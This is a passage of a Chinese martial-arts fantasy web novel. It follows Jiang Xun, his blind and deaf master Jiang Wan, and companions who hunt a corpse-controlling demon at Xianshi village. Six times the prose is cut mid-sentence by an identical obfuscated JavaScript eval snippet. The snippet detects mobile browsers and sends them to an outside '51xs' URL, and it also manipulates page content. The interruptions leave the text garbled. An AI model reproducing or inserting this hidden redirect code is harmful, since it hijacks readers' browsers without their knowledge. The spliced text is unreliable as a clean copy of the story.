郜林看陈叔时不时的打哈欠,就想让陈叔先回房睡会儿,坐在床边的陈叔叹了口气,“不行,这孩子向来敏感多疑,醒了以后看到跟前儿没有人守着会难过伤心的。” “我守着,您老先去睡吧,别到时候他醒了您又累倒了。” “这才哪到哪,出任务的时候我可比这能熬!” “是是是,您最厉害了!但现在确实不需要那么多人顾着,您先去眯一会儿,卯时您来替我,行吧?” 郜林好说歹说才把陈叔劝回去睡觉,他自然是知道江洵幼时过得苦养成了心思重的性格,但元春都说了危及不了性命,那轮流照顾就好,这样大家都能休息。 第二日一早,在陈叔还没来的时候,宋瑶卿就来了,给郜林带了几个肉包子让他先垫吧垫吧。 “昨晚有醒过吗?” “寅时的时候醒过一次,吐了些淤血,我给他喂了碗药就又睡过去了,嗯?这不是山上的包子吧?” 山上厨房做出来的包子可没有那么多馅儿,皮儿也不会那么薄。 “阁主回来的时候在山下买的,我寻思着你应该还没吃饭就给你留了几个。” “阁主回来了?那药呢?”郜林看瑶卿手上除了包子也没带别的东西。 “嗯,刚回来的,老阁主今早儿出关了,召三阁管事儿的过去议事呢。” 瑶卿说完就去里屋看了眼床上的江洵,这孩子大抵是做噩梦了,眉头紧皱又出了满头的汗。 她小心翼翼的走过去,拿块干净的帕子在水里洗了洗,坐在床边将江洵额头的汗水轻轻擦拭掉,又起身倒了杯温水,用筷子沾上水再一点一点的抹在江洵唇上。 可能是突然感受到被人温柔的照顾着,江洵的气息渐渐地平静了下来,眉头也不再皱着了。 等这孩子睡踏实了以后,瑶卿才轻轻地踮着脚去了正厅。 郜林看她出来了,就将昨晚跟陈叔商量轮流守夜的事儿讲了,瑶卿听了以后觉得可行,“那这些时日里多让陈叔上午来照顾,而且元春也说了在辰时疏通经络会好的快一些,酉时至戌时这段时间就有我来照看好了。” “哎呀,你们忙你们的,我近日不打算接任务。”陈叔是觉得这些年轻人不能一直守在这里,该干嘛的干嘛去,照顾人这事儿他自己就能干。 “无妨无妨,偷个懒也没啥,既然您来了那我就先去休息了。”郜林边打哈欠边往外走。 一直到中午的时候,江挽才从主阁回来,陈叔看她满脸疲惫的样子,大抵是赶了一晚上路,直至现在也没休息。 江挽将从阳春门取来的竹秋草和一些别的药材一并给了瑶卿,让她送去厨房熬上。 待房中只剩江挽和陈叔二人的时候,她才将上午在主阁那接到的任务同陈叔道来。 近月来东宁城有众多白榆人躲避在此地,城里住的都是平民百姓,而且此地还是朝廷的通商重地,派衙役大规模地查找反而会影响百姓生活和一些通商进度,故而由中律司牵头组织起各大门派选一位能者前往东宁城,直到找出所有潜藏在此的白榆人并就地斩杀。 “老阁主要派让你去?” “嗯。” 陈叔气的直接站起来拍了桌子,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170755|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这任务为何不交给温如玉或是云璟,他们哪个不比你合适?他是老糊涂了吗?” 江挽笑着给陈叔倒了杯茶,让陈叔别动怒,免得气坏了身子。 “他想让洵儿去主阁,我不愿。” 让江洵去主阁往好了想是老阁主爱才心切,想要养在跟前儿亲自教导,可论天赋前有傅霖后有云蘅,这泼天的富贵哪里轮得上他,更何况这孩子昨天还被打的卧床不起。 往坏了想就是寻个由头拿捏江挽,亲传弟子送来就是当个人质,不送来也可以,往后就乖乖听从主阁安排。 陈叔自然是明白这其中道理,他叹了口气坐下去。 “东宁城本就鱼龙混杂,又路途遥远,出了什么事儿,咱们的人没法儿立刻赶过去帮你,况且近年来献岁阁被评为亦正亦邪的门派,到了城里那些自诩名门正派的掌权人又怎会给你好脸色?” 江挽知道陈叔是真的在替她着想,也是真的担心她此程恐不顺遂,所以这次的任务她只同陈叔讲,三阁里多一人知道便多一份担忧。 但她不知道的是自她进门时,江洵就醒了,他听到了师父不让去他主阁的决定,也懂得了江挽在阁里的处处小心,更明白了献岁阁并非真的上下一心。 他无计可施,他没有能强大到决定自己何去何从的权力,也没有能保护身边人不再做违心之举的能力。 “我不跟那群顽固们一起行动就是了,而且此次任务也并非全是门派中人,还有一些能人散修参与,水越混对我越有利。” “能人……我看近年来江湖上能称得上能人的也就沈亦行了。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第8章 咸石村 江洵向陈叔拜别以后就急匆匆地去了后院,刚好撞上了从里面出来的宋瑶卿。 “今儿晚上姐姐有任务,明天就不能送你啦,你要保护好自己,万事小心,等回来了姐姐带你去孟春楼吃大餐!” “好好好,瑶姐姐也要万事小心,平平安安!”江洵回道。 “好好好,快进去吧!” 看着瑶卿走后,江洵才踏入后院,和前院相同的是这里也种了几棵银杏树,不同的是多了个秋千,除此之外,树上还挂了几个没有鸟的鸟笼。 江挽就坐在亭子里,眼睛望向随风摇摆的秋千,她旁边的石桌上摆着几个信封和一把刀,待江洵靠近后,江挽才抬头看他,让他坐下。 江洵从刚刚进来看到江挽的时候就觉得有些不对劲,但他说不上来究竟是哪里有问题,他先是给江挽倒了杯茶,而后才坐在她旁边的位置上。 江挽并没有立即喝那杯茶,只是问他行李可都有收拾好。 “换洗的衣物和银子昨天就收拾好了。” 江挽笑着调侃他心急。 不对劲…… “信封里装着任务书,每个任务皆不相同,你且挑一个。这是雁翎腰刀,一次甲类任务里朝廷的奖赏,由一粟前辈亲手锻造的名刀,你拿去用吧。” 是了。 从他进门到现在,江挽没有直视过他,或者说她压根就没有将眼神聚焦在一处。 “容弟子斗胆问一句,师父的眼睛?” 江挽停住了要继续往下交代的话,偏头眨了眨双眼,“嗯,看不清。” “可我昨天见你在校场的时候还……” “那是服了药。” 江洵沉默了,那一直以来一副副从外带回的药都是治眼睛的么?不……他进来的时候江挽也没有察觉到他的声音,那就说明不单单只是眼睛看不清。 他小声的念了江挽二字。 他笃定这个距离这个音量,江挽仔细听还是可以听到的,不仅会听到还会骂他大逆不道,可旁边的人不仅没有生气,甚至连一点动怒的苗头都没有。 是了。 她耳朵也听不清。 “禁止外人进后院是因为这个原因吗?”他知道此刻的声音有些颤抖,他真的不知道他的师父一直以来都看不清听不着。 “倘若被传出去献岁阁的三阁主不仅是个瞎的还是个聋的,那可真是……要了命了。”江挽无奈的说道。 “知道的有几人?” “不多,除了温如玉,老阁主和二阁主那边的人都不知道,三阁也就陈叔他们清楚,我自然是信他们的。” 信他们……那如今岂不是也信我?江洵刚想开口问,就听到江挽说:“至于你么,就算我是个瞎的,也不影响我能让你今日出不了这个门。” 好吧……终究是弟子高攀了。 江洵想追问江挽这是旧疾还是天生便是如此,但对方显然不想依着这个话题继续聊下去,催着江洵选桌上的任务书。 江挽摸索着拿到了桌上的那杯茶,喝了一口继续道:“虽说都是戊级任务,但这只是根据地方衙门和刑部的口头表述来评判的,具体如何还要亲自去了以后才知道。” 江洵随意拿了一个信封,信封写着“咸石村”三字,信纸上写着以下内容: 怀德五年七月中旬,咸石村一男子于后山打猎时,在山壁上发现一块金石,待敲下后该石头奇迹般地变成了金子,男子回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170756|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村后向其余村民传播此事。自此,每家每户的男人日日前往后山寻找金石,起初只是几人彻夜未归,直至所有男人均未归家,才有妇人上报衙门,但衙役进山后也都不知所踪。 现将此案移交中律司,望派有能之士于八月七日前抵达咸石村,此次任务为戊级,任务完成后赏白银十两、清心丸一瓶、竹秋草三株。 任务如下: 其一:找到失踪的村民及衙役,活要见人死要见尸。 其二:此案若人为谋害需将其人带回中律司审判,若非人者行凶需优先渡化,顽劣者可就地杀之。 其三:若此任务等级评判失误,还望道友量力而行,中律司会请派距该地最近且与之能力相匹配之人前去相助。 那么,祝各位道友此程平步青云,万事顺遂! “就这个吧。” “不再看看别的了?” “是福不是祸,是祸躲不过,不选啦!就去咸石村!”江洵说罢便将任务书放回了信封里。 江挽没再劝他多看几个,做个比较,既然他自己心里有主意,那便由着他去吧。 “我后日要去秋高北做任务,与咸石村有些距离,你若有事我不能及时赶到相救,所以你且好好活着,无论如何都要活着,任务什么的都是其次,知道吗?” “弟子明白。” “丁级、戊级的任务会有南宫家的弟子陪同,由他们传递与任务相关的信号,红色等级有误、蓝色寻求增援、绿色任务完成,紫色则是代表任务失败且全员伤亡。” 江洵以为任务里最多就是受点伤躺床上个把月,但听到有全员伤亡的时候还是有些惊讶。 这章没有结束,请点击下一页继续阅读! 第9章 竹秋草 开门的是一个大约十七八岁的年轻女孩,她身穿一袭粉红色的连衣裙,两条长长的麻花辫子垂落在双肩上,整个人显得清新脱俗。虽然她的衣着并不是特别华丽,但她那姣好的面容却让人眼前一亮,称之为美人儿毫不为过。尤其当她惶恐不安地看向众人时,那眼神中的无助和脆弱,更是让人心生怜悯,不由自主地想要去保护她。 “公子敲门可是有事?” 她怯生生的问到站在最前方的陈文谦。 那边的陈文谦慌了会神儿才答道:“在下是奉中律司之命,来此处调查村民失踪一案,敢问此户可是王村长家?” “正是正是!”这姑娘一扫胆怯的模样,笑着打开了另一半的门。 “你们总算是来了,爹爹他已经很久没回家了,阿娘昨日为了去寻爹爹也匆匆进山,至今都还未归!” 这姑娘说到此处时,声音变得有些哽咽,眼中闪烁着晶莹的泪花,仿佛在下一刻就要夺眶而出。泪水在她眼眶里打转,让人不禁心生怜悯。一旁的宁靖见此情景,心中一阵心疼,连忙从怀中掏出自己的手帕,轻轻地递到了她的面前。 她微微抬起头,看着宁靖手中的帕子,眼神中流露出一丝感激之情。她接过帕子,轻轻地擦拭着眼角的泪水,努力让自己恢复平静。 “不知姑娘可否跟我们详细讲一下近几日村子的情况?” “自然是可以的,你们先进来坐吧。” 她侧身让开,方便众人进去,江洵进来的时候看了眼站在门口的姑娘,那人也察觉到江洵的打探,抬头问道:“公子这般看着小女子,可是有事要问?” “只是想到还未请教姑娘的芳名。” “迎姗,公子叫我姗姗就好。” 说完便带着众人进屋,陈文谦一边走一边向迎姗介绍他们五人的名字和所属的门派。 待进屋坐下以后,迎姗先给他们沏了一壶茶,江洵仔细看了一下她沏茶的姿势,没有发现什么可疑之处,便转移视线,打量起这小房子的构造。 “在此事发生之前可有人曾进过山?”秦在锦注意的地方在于,如果之前就有人进山且能平安无事的回来,事情倒还没那么棘手,可如果之前就已经有失踪的案件,那山里住着的多半是修炼许久的妖物了。 “自然是有的,地里不是很忙的时候也有些村民会上山打猎的,而且后山还种着些果子树,村里的小孩也喜欢跑去摘果子吃。” “迎姗妹妹看着倒不像是寻常村里的女子,瞧瞧,这细皮嫩肉的。”方语棠从看到她的第一眼就觉得她这样貌与这村子格格不入。 迎姗听到这话低头笑了一下回道:“我打小儿就身子不好,不能过度操劳,爹娘担心我的身体,让我日日呆在家中静养。” “哦?身子不好?在下阳春门秦在锦,能否让我为姑娘把个脉?” 这不是来活了么!秦在锦刚还想着怎样能不失礼仪又不被察觉的探人虚实呢。 “可以的,倒是劳烦公子了。” 迎姗将胳膊放在一旁的桌子上,露出洁白纤细的手腕,秦在锦拿出帕子盖在其腕上后开始替她把脉。 “姑娘是否常常浑身乏力,有时还会出现头晕的情况?” “正是。” “没有什么大碍,姑娘的身体确实是不宜运动,平日注意休息,我这有些药丸可以帮姑娘缓解头晕等不适的状况,一会再给姑娘开个方子,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170757|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调理身子的。” 说完就从乾坤袖里掏出了一个小瓷瓶给了迎姗。 “谢谢公子。” 江洵看了眼秦在锦,秦在锦察觉后向他微微摇了摇头,意思是没有发现可疑之处。 陈文谦将该问的问题都一一问完以后,就打算先进山查探一番,毕竟听的再多不如亲身经历。 可如今已是戌时,入了秋天便黑的早些。 迎姗说道:“天黑进山多有不便,各位道友还是在此休息一晚,明日一早进山也是一样的。” 看大家都没意见,陈文谦就问了坐在那里喝茶的迎姗家中可还有空余的房间。 “既然让你们留下来歇息,那肯定是还有空房的,只是这位姑娘可以同我住,四位公子住在一起难免会有些挤。” “这个无妨,坐着睡也是一样的。”陈文谦答道。 迎姗带她们去了东屋,房间比较简陋,只有两把座椅一张桌子,窗户旁边还有一张床,这个大小躺两个人是没有问题的。 江洵不想跟人挤一张床,就说自己今晚坐在椅子上睡,于是床就让给了秦在锦和宁靖二人。 “赶路辛苦,你们饿吗?饿的话我去做些家常菜来,好吃了再睡。”迎姗问道。 “不用劳烦妹妹了,我们都有学过辟谷,不吃饭也不打紧的。”哪怕目前还没有发现有何问题,方语棠依旧不敢随便吃别人做的饭菜,尤其是被她列为重点怀疑对象的。 “好的,那姐姐现在要跟我回房休息吗?” “你先回吧,我跟他们还有一些明天进山的对策要商量。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第10章 百宝箱 秦在锦小心翼翼地观察着眼前这具尸体,他仔细打量着尸体的僵硬程度以及尸斑的范围大小,并根据自己多年来积累的经验做出判断:这具尸体死亡时间大概在十二个时辰之前。接着,他又将时间往前推移,惊奇地发现那个时间段恰好就是他们昨天下午刚刚抵达咸石村的时刻! 一想到这里,秦在锦心中不禁涌起一股寒意。 原来,当他们还在与那个假扮成迎姗的女子交谈时,这位姑娘的遗体很有可能就被藏匿在这座院子之中!然而,令人困惑不解的是,那个伪装成迎姗的女人究竟是如何得知他们此次行程将会首先来到村长家中呢?此外,她又是出于何种目的要事先处理掉村长的女儿呢? 回想起这次任务,任务书上明确表示失踪人员都是进入山区后才失去踪迹的。由于这种先入为主的观念影响,他们一直坚信那只妖怪无法下山。但现在看来,事情远比他们想象得更为复杂…… 方语棠将薄被盖上女子的脸,她内心多少是有些自责的,如果她昨晚能走近看一眼或者礼貌性的问一句,或许她能早点知道躺在这的是具尸体,也能早点发现端倪,可她因为胆小又图省事,生生错失了良机。 眼下几人已无困意,为了避免那妖怪再回来,还是决定都先待在一起,由于宁靖还一个人留守在房间里,这几人又匆匆赶回东屋。 宁靖知晓了刚刚的情况后问:“那女子的尸体就这么放着吗?” “目前没有时间给她下葬了,这几日先用药物保她尸身不腐,待我们除妖回来再做安排。”陈文谦说。 他并非不想让人入土为安,只是活人的命比死人更为重要些,毕竟他们的首要任务是除妖保余下的村民平安,至于后事自然要等除了后患以后再做打算。 “若当时的假迎姗不在房间里,又会在哪里呢?”江洵问道,然后又看了眼倚靠着墙休息的宁靖,“你说她想挖你的心脏,那村民和衙役极有可能被她挖了心脏所以没办法再回来了。” “咦...这就有些残忍了吧。”方语棠拍了拍自己的小心脏。 宁靖仔细回想了一下刚刚的梦境,梦里的他并不是在这间屋子里,而是在一个石板上躺着,他是完全清醒但又动弹不得的,而且之所以觉得对方要挖心,是因为他看到周围的石壁上挂着一些大小不一的心脏。 “任务书并没有说山下的村子有异样,说明她之前没有在村子里兴风作浪,那她昨天下山就有可能是奔着我们或者奔着村长的女儿来的。”宁靖默默地嘀咕着。 “现在猜来猜去的也猜不出个所以然来,要进山了才知道。”陈文谦让大家都再补个觉,尤其是宁靖,等再过俩个时辰便进山。 一行人从村长家出门的时候,咸石村的天才微微亮,几人一言不发的一前一后走着,江洵依旧是独自走在最后。 在路过一个巷子口的时候,江洵瞅见一张微微鼓起的破烂草席,仔细一看草席下还盖着一个人,从那双露出来又瘦骨嶙峋的小腿儿可以看出这大抵还是个孩童。 这个时辰不睡在家里却睡在的巷子里,想必是个没人要的孩子,这不禁让江洵想到了两年前的自己,不也是这般境地么。 他缓缓地走向那孩子,轻轻的掀开了草席的一角,那少年蜷缩着睡在那里,大概是察觉到有人靠近,立即睁开了双眼。 一般这种情况,要么站起来就跑,要么问对方是谁,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170758|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这孩子就只是沉默地盯着江洵。 然后就是一阵咕噜的声响,江洵皱了皱眉,从怀里掏出一块烧饼递给他,可这小孩儿并没有起身去接的意思。 莫不是个傻的???江洵心想。 罢了,只好再掏出一块手帕包住烧饼放在草席的一边,等他饿急了自然会拿起来吃。 当他起身想要跟上前面几人的时候,却看到秦在锦满脸笑意的望着他。 “我倒不知你们献岁阁还都挺有善心的。” 都???? 这句话要怎么回?都有善心那为啥献岁阁的名声还那么差??没有善心那他刚刚又是干的什么事儿呢! 破罐子破摔得了。 “其实那烧饼里放了砒霜。”江洵一本正经的说道。 “哦?是吗?” “是呢。” 秦在锦看着江洵胡扯的样子又笑了,这人真奇怪,做了好事为啥还不愿意承认呢,真是别别扭扭的。 几人从小路进山以后就越走越冷,不仅冷还感觉这天越来越黑,算着时辰这会儿太阳都要出来了,但这天阴沉沉的完全不像是要出太阳的样子。 更让人难以忍受的是越往上走越能闻到一股尸体腐烂的怪味儿。 宁靖实在是闻不得这个味道,一路干呕,本来刚刚恢复的身体,这一阵吐得又脸色苍白了。 现在的他在想当初为什么非要接这个任务?师兄都告诉他这任务有点难度了,为啥非要挑战自己呢?是觉得自己很有能耐么?也许是吧,嗅觉这方面确实比其他几人有能耐的多。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第11章 三人言 十几岁的孩子总想事事争个高低,论个先后,遇到疑惑之事也总想着打破砂锅问到底。 宁靖见江洵没有回答他的问题不仅没有识趣儿的闭嘴反倒是问的更起劲儿了。 “我听闻你们三阁最是没规矩的一阁,那你们的教习师父对你们平日的修炼要求高吗?” 没规矩... 听闻、听说、传闻、这些消息都是从哪里听来的?又是从谁的口中说的?他那团结友爱的三阁怎么到了外人嘴里就成了不上规矩的派系了? 旁的事他可以无视不多做争论,但涉及到污蔑师门的大事他就得辩上一辩了。 “宁兄,可知规矩二字是什么意思?” “自然是遵礼守法、合乎常理了。”宁靖回。 “那三阁有目无法纪之人做了超出常理之事么?”江洵反问道。 “你师父啊。” 哈??????? 江洵此时都气笑了。 “我师父做什么了?” 他倒要看看他师父到底是干了啥了让“不三不四”的人这么评论她。 没错,对江洵来说诋毁三阁诋毁江挽的人都被他归为不三不四的一类,这类人简直是没有辨别是非的能力! “你师父三年前的宴席上就因为仝老前辈当众说了她两句,她上前将仝老前辈的桌子砍了,一点面子都不留,还放言说若再听到别人胡言乱语就割了那人舌头喂狗,最要紧的是当晚济云楼就传出仝老去世的消息,这其中缘由自然跟你师父有关。” “这有何不妥?”江洵没觉得这有什么不对。 “天老爷,仝老前辈可是能和献岁阁老阁主平起平坐的人物,他教导晚辈不是很正常?怎么别人能说得她却说不得!况且她也没必要下死手吧。” 别说江挽一个三阁主,就连他们少宗主那样的天之骄子在仝老前辈面前也是谦虚受训的。 江洵翻了个白眼,敢情真是什么不三不四的人都能来评判一句。 “他教导什么了?” “自然是说林静姿老糊涂了,幽兰令不给资历老能力强的陈致知,反而给了个黄毛丫头。” 宁靖说完又立马加了句:“我直呼其名只是复述当时仝老的原话啊,可没有不尊敬前辈们的意思啊。” 江洵听至此处回了头,他没有说话只是打量着宁靖,手指一下又一下地敲打着刀柄,他在想如果此刻处理掉宁靖,那应该是不会被人发现的,但就算被发现了也没有人能多说什么,毕竟在任务里什么事都能发生,什么事都情有可原。 宁靖打住了要往下说的话,直觉告诉他继续说下去很可能会惹来杀身之祸,他眼前的少年远没有他表面上的那么单纯无害,这让他本能的后退一步与身前的人拉开了距离。 “正确的教育和导向才为教导,我看贵宗是没教过弟子读书识字明智么?” 江洵向前一步继续道:“老阁主当年都没评判什么,又怎么轮得到外人置喙呢,老前辈?呵...在我这身居高位仍心怀苍生者、身怀绝技仍不骄不躁者、对后辈不偏不倚者才能称之为老前辈,至于那种仗着自己有点本事就打压、报复、蔑视后辈甚至胡搅蛮缠又倚老卖老者统称为老不死的。” 宁靖知道此时应该说些什么来反驳江洵,可他就是张不开口,甚至在看到江洵阴沉的眼神时又向后退了两步。 “莫非你亲眼看到我师父杀了他?还是说有人亲眼看到了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170759|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江洵微微眯着眼审视着面前沉默的宁靖,挑了下眉,“回话。” “我自然是没有亲眼看到,但是仝老...他虽然上了年纪可身子骨还算硬朗,也没有受过伤,且他当晚死的时候嘴里还少了舌头,联想到你师父白天说的话,大家才会认定就是她做的!” 宁靖现在可是不敢再称仝严为仝老前辈了,他只怕日后跟旁人提起这位的时候别出口一句仝老不死的就已经阿弥陀佛了。 “那可真是一人成行三人成虎啊。”江洵突然笑了。 他刚刚已经在盘算如果有人在那天亲眼看到了江挽杀了人,那他来日必要剜了那人的双眼,再拔了他的舌头,让他知道不该看的别看,不该说的别说。 宁靖掌上的火球虽不够大,但这个距离看清楚江洵的表情是足够的,少年的身后是望不到边的黑暗,火光照亮他的脸庞,虽是笑着但眼中却透着冷冷的杀意。 “哦,对了!我们要求不高。” 说完这句江洵就独自向前走去,他可没忘记宁靖的问题是什么。 而身后的宁靖显然已经忘了。 什么要求???什么不高??? 等等....他是个疯子吧! 待确认后方没有人跟着以后,江洵平复了自己的情绪。 师父再三叮嘱他日后要做一个情绪稳定的人,他刚刚险些就要一刀砍了那厮,果然暮商宗的人留不得,都是那么的惹人厌! 江洵重新蕴灵,在行至一个岔路口的时候停了下来。 就在他站在那里纠结两条路选哪一条走的时候,左前方的灵力出现了波动,江洵抬眸看了一眼前方出现的迎姗。 这章没有结束,请点击下一页继续阅读! 第12章 终弦术 她说王夫人的尸体在家里,但他们来的时候家里只有一具尸体,是他们没有仔细查看漏掉了还是说那尸体分明就是她后放回的。 如果说是后放回的,那结界的目的很大可能上是为了拖延时间,她可以在这个时间内将王夫人的尸体送回村子里,而等她再回山时自然就不需要结界的存在了。 可为何要放回去呢,直接和这群尸体堆在一起不行吗? 江洵站起身才发现衣角不小心沾到了血渍,刚想要嫌弃的时候... 慢着!这里的尸体距离失踪到现在已过去了二十多日,按理说这些血已经不会再轻易沾染到衣服上,这些尸体的腐烂程度也都不一,说明是这些人也并非是在同一个时间内死亡的。 是了,她一下子可吃不下那么多,只能是一天吸食几人,而后再是下一批人,可这地方就这么大点,而且这里明显是没有衙役的尸体,这座山还有着他们没有发现的地方,而那些衙役极有可能还存活着。 “姐姐,另一批进山的人在哪里呢?” “你猜呀。” 她依旧是一副置身事外的态度。 “我猜就没意思了,要姐姐亲口说的才有意思。”江洵拔刀指向迎姗。 其余几人见江洵拔刀了,上前将迎姗围在了中间。 “五打一你没有胜算的,还是将其他人都交出来吧。”宁靖劝说道。 她站在中间没有一丝慌乱,丝毫不认为自己今天会交代在这里,她轻柔地抬起双手,纤细修长的手指像是在拨动琴弦,渐渐地一根又一根的红线从她指间浮现,而这些红线和悬挂心脏的很像,但却更细更淡一些。 她加快了手指拨动的速度,红线也快速的延伸至那堆尸体,红线围绕住脖颈,最终穿入死尸的头颅。 江洵预感不妙,这疯女人该不会是想操纵这堆尸体吧。 “现在还是五打一吗?”她轻声笑了。 被操纵的死尸僵硬的站了起来,有的堆得比较高的直接从上面滚了下来,这坑之前容他们几人是没有问题甚至还绰绰有余,可如今这些死尸都“活”过来的时候倒显得分外拥挤了。 “陈兄,这还是戊级任务吗?”宁靖问道。 “是。” 眼下这状况陈文谦也不得不拔剑了。 江洵没有在意如今究竟是几级任务,哪怕真的上升了等级,他们也不会在短时间内等到人来支援,所以要活下去还是得靠自己,但他得先出了这个坑,这里属实让人施展不开。 他没有询问其余人接下来要如何做,只是将刀刃移向了离他最近的死尸,既然是以红线穿入头颅来操纵死尸,那只需将他们的头都砍掉,以此来永绝后患。 在他挥刀的同时,秦在锦那边也有所行动了,他既没配剑也没带刀,只是徒手轻轻的一拧那死尸的头颅就脱落了。 嚯!少年好臂力!陈文谦感叹道。 既然已经有人出手,其余三人也不再多说什么,纷纷拔剑加入“砍头小分队”。 迎姗看着眼前的局势慢慢发生了改变,恩???上次那群衙役过来的时候可不是这样的场景,那群吓得刀都拿不稳落荒而逃的人可都是任她宰割的。 江洵那边快速地开出了一条通道,他率先向石梯处跑去,站在那里的迎姗哪会那么容易就放他走,操纵后方的死尸堵在石梯处。 他也曾试着去斩断那些红线,但当刀刃碰到红线的时候,那红线就犹如细细的水流一般即使能触碰到但却割不断,可真是抽刀断水水更流啊!他只能尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170760|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量不将后背留给那群没有意识的死尸。 离他最近的秦在锦也明白了江洵要从坑里出去的意图,他拿出几颗种子随意撒在地上然后迅速地结了个手印。 种子在钻入地下后没多久就生根发芽,其粗壮的根部在一尺高的时候迅速分叉成七条手臂粗的藤蔓,周身还带着银针大小的刺,藤蔓在长至约六尺的时候便停止了生长。 “绞杀。” 在听到秦在锦的命令以后,藤蔓疯狂的冲向石梯处的死尸们,一根藤蔓栓住一人,而后向根茎处回拉,秦在锦看大多数死尸都被牵引住以后,便跑至石梯上与江洵会合,其余人见状也开始往外走。 嚯!少年你还有多少惊喜是我不知道的!陈文谦再次感叹道。 一直站在后方操纵的迎姗看到他们以藤蔓牵制死尸的时候,便想要收回手中的红线,可那几人已经跑到上方的门口处了。 她再次将手指划破把指间的血甩至墙上,石屋的门缓缓的关上了。 “一个都别想走。” “你这妖女还没完没了啊!”方语棠怒骂道,即便她也过了几个戊级的任务,但她认为这是最麻烦的一个了,这为啥不归为丁级啊! 她话刚说完,一个皮肤溃烂脸上还爬着小虫子的男人就笑嘻嘻的往她这跑来了。 “走开啊啊啊啊啊!!!” 她保证今天过后一定要吃素半年。 他旁边的宁靖将她拉至身后,一剑刺向那男人的咽喉,可他一个死人哪还有什么知觉,依旧顺着剑身往前冲,在喉咙要抵至剑柄处时,宁靖立马拔出剑的同时还不忘再将那人踹走,方语棠十分感激的对宁靖道谢 。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第13章 竹春堂 江洵的目光缓缓转向一旁的陈在锦,只见他自从刚才问出那个问题之后便陷入了沉默之中。此刻的秦在锦微微垂着头,似乎正在沉思着什么重要的事情。 这孩子莫不是喜欢花时雨??? 不过他也不是个喜欢探究别人心思的人,便没再深想下去。 约莫一盏茶的时间过去了,终于有一张符纸飞回,慢悠悠地在宁靖面前停了下来。 等宁靖给它又输送了一些灵力以后,那张符纸立马活蹦乱跳的像个孩子一样转身飞去,还时不时地停下来等等后面没跟上的人。 “其他没回来的符纸呢?”方语棠问道。 “有的会一直找到灵力耗尽灰飞烟灭,有的在追寻未果后会原路返回,不过大多都是前者。”宁靖答。 他们跟着符纸往下山的路走去,这条路和当时结界消失以后上山所走的是同一条,又窄又陡的极其不好走,况且他们来的时候并没有留意到这路上能有什么可以藏人的地方。 